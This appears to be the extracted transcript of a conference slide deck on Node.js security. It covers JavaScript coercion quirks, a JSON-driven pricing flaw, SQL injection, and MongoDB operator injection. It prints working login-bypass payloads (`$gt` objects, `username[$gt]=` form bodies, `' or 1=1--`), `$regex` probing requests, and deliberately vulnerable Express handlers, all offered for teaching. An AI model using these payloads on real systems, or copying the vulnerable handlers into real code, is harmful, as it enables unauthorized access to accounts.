security challenges in node.js

46
@pdp Petko D. Petkov Websecurify GNUCITIZEN

Upload: websecurify

Post on 15-Jul-2015

1.721 views

Category:

Software


0 download

TRANSCRIPT

@pdpPetko D. Petkov

Websecurify GNUCITIZEN

Security Challenges in

Node.js

Our Assumptions

• Node.js is a safe programming language

• NoSQL is a safe alternative to SQL

• Node.js + NoSQL = win

–Isaac Asimov

“Your assumptions are your windows on the world. Scrub them off every once in a while, or the light won't

come in.”

WTFJS!!!wtfjs.com

parseInt('duck'); // NaN parseInt('duck', 16); // 13

(2 + "3"); // 23 (2 + + "3"); // 5 (+""); // 0 (2 * "3"); // 6

0 === -0 //true 1/0 === 1/0 //true 1/0 === 1/-0 //false

var foo = [0]; console.log(foo == !foo); // true console.log(foo == foo); // true

9999999999999999 //=> 10000000000000000

var hex = 0xFF55 << 8; // Shifting by 8 bits adds 0x00 at the end alert(hex.toString(16)); // 0xFF5500

// Before 0x800000 it's ok

alert((0x777777 << 8).toString(16)); // 0x77777700

// After 0x800000 it's not ok

alert((0x888888 << 8).toString(16)); // -0x77777800, WTF?

Node (0.10.35) Chrome (40.0) Firefox (34.0)

[] + [] "" "" ""

[] + {} "[object Object]"

"[object Object]"

"[object Object]"

{} + [] "[object Object]" 0 0

{} + {}"[object

Object][object Object]"

NaN NaN

1 / [] // Infinity 1 / {} // NaN

1 / [1] // 1 1 / [[1]] // 1 1 / [[[1]]] // 1

1 ^ [] // 1 1 ^ {} // 1

"5" * 5 - "1" // 24 "5" * 5 - [] // 25

JSONJavaScript Object

Notation

var obj = JSON.parse(input);

var price = Math.round( obj.quantity * 5 );

{ "code": "USD", "quantity": 1, "item": "tie" }

var obj = JSON.parse(input);

var price = Math.round( 1 * 5 );

// => price = 5

{ "code": "USD", "quantity": {}, "item": "tie" }

var obj = JSON.parse(input);

var price = Math.round( {} * 5; );

// => price = NaN

{ "code": "USD", "quantity": [], "item": "tie" }

var obj = JSON.parse(input);

var price = Math.round( [] * 5; );

// => price = 0

var quantity = obj.quantity || 1;

// ---

var price;

switch (obj.item || 'tie') { case 'tie': price = 5.76; break; case 'socks': price = 1.56; break; // --- default: price = 1.56; // --- break; }

// ---

var total = cur * quantity * price;

// ---

res.writeHead(200, 'OK', {'Content-Type': 'application/json'}); res.end(JSON.stringify({total: Math.abs(total).toFixed(2)}));

var obj;

try { obj = JSON.parse( chunks.join('')); } catch (e) { res.writeHead(500); res.end(); // --- return; }

// ---

var cur;

switch (obj.code || 'USD') { case 'USD': cur = 0.9; break; case 'GBP': cur = 0.5; break; // --- default: cur = 0.9; // --- break; }

// ---

var quantity = obj.quantity || 1;

// ---

var price;

switch (obj.item || 'tie') { case 'tie': price = 5.76; break; case 'socks': price = 1.56; break; // --- default: price = 1.56; // --- break; }

// ---

var total = cur * quantity * price;

// ---

res.writeHead(200, 'OK', {'Content-Type': 'application/json'}); res.end(JSON.stringify({total: Math.abs(total).toFixed(2)}));

var obj;

try { obj = JSON.parse( chunks.join('')); } catch (e) { res.writeHead(500); res.end(); // --- return; }

// ---

var cur;

switch (obj.code || 'USD') { case 'USD': cur = 0.9; break; case 'GBP': cur = 0.5; break; // --- default: cur = 0.9; // --- break; }

// ---

SQLISQL Injection

SELECT * FROM users WHERE username = '$user' AND password = '$pass'

SELECT * FROM usersWHERE username = '' or 1=1--' AND password = ''

mysql_query("SELECT * FROM users WHERE username = '$user' AND password = '$pass'");

db.users.find({ username: username, password: password });

app.post('/', function (req, res) { var query = { username: req.body.username, password: req.body.password }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });

app.post('/', function (req, res) { var query = { username: req.body.username, password: req.body.password }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });

Comparison Logical Element Evaluation Array Projection

$gt $and $exists $mod $all $

$gte $nor $type $regex $elementMatch $elementMatch

$in $not $text $size $meta

$lt $or $where $slice

$lte

$ne

$nin

POST http://target/ HTTP/1.1 Content-Type: application/json

{ "username": {"$gt": ""}, "password": {"$gt": ""} }

app.post('/', function (req, res) { var query = { username: {"$gt": ""}, password: {"$gt": ""} }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });

app.post('/', function (req, res) { var query = { username: req.param('username'), password: req.param('password') }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });

app.post('/', function (req, res) { var query = { username: req.param('username'), password: req.param('password') }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });

POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded

username[$gt]=&password[$gt]=

app.post('/', function (req, res) { var query = { username: {"$gt": ""}, password: {"$gt": ""} }; db.users.find(query, function (err, users) { // TODO: handle the rest }); });

a[0]=1 → a = [1] a[0]=1&a[1]=2 → a = [1,2]

a[b]=1 → a = {b:1} a[b]=1&a[c]=2 → a ={a:1, c:2}

app.post('/', function(req, res) { User.findOne({user: req.body.user}, function (err, user) { if (err) { return res.render('index', {message: err.message}); }

// ---

if (!user) { return res.render('index', {message: 'Sorry!'}); }

// ---

if (user.hash != sha1(req.body.pass)) { return res.render('index', {message: 'Sorry!'}); }

// ---

return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); });

POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded

user[$regex]=ab.c&pass=abc123

{ user: {$regex: "ab.c"}, pass: "abc123" }

app.post('/', function(req, res) { User.findOne({user: {$regex: "ab.c"}}, function (err, user) { if (err) { return res.render('index', {message: err.message}); }

// ---

if (!user) { return res.render('index', {message: 'Sorry!'}); }

// ---

if (user.hash != sha1("abc123")) { return res.render('index', {message: 'Sorry!'}); }

// ---

return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); });

POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded

user[$regex]=ab.c&pass=abc123

POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded

user[$regex]=ba.c&pass=abc123

POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded

user[$regex]=cd.e&pass=abc123

POST http://target/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded

user[$regex]=dc.e&pass=abc123

Lessons Learned

Always validate user-supplied input!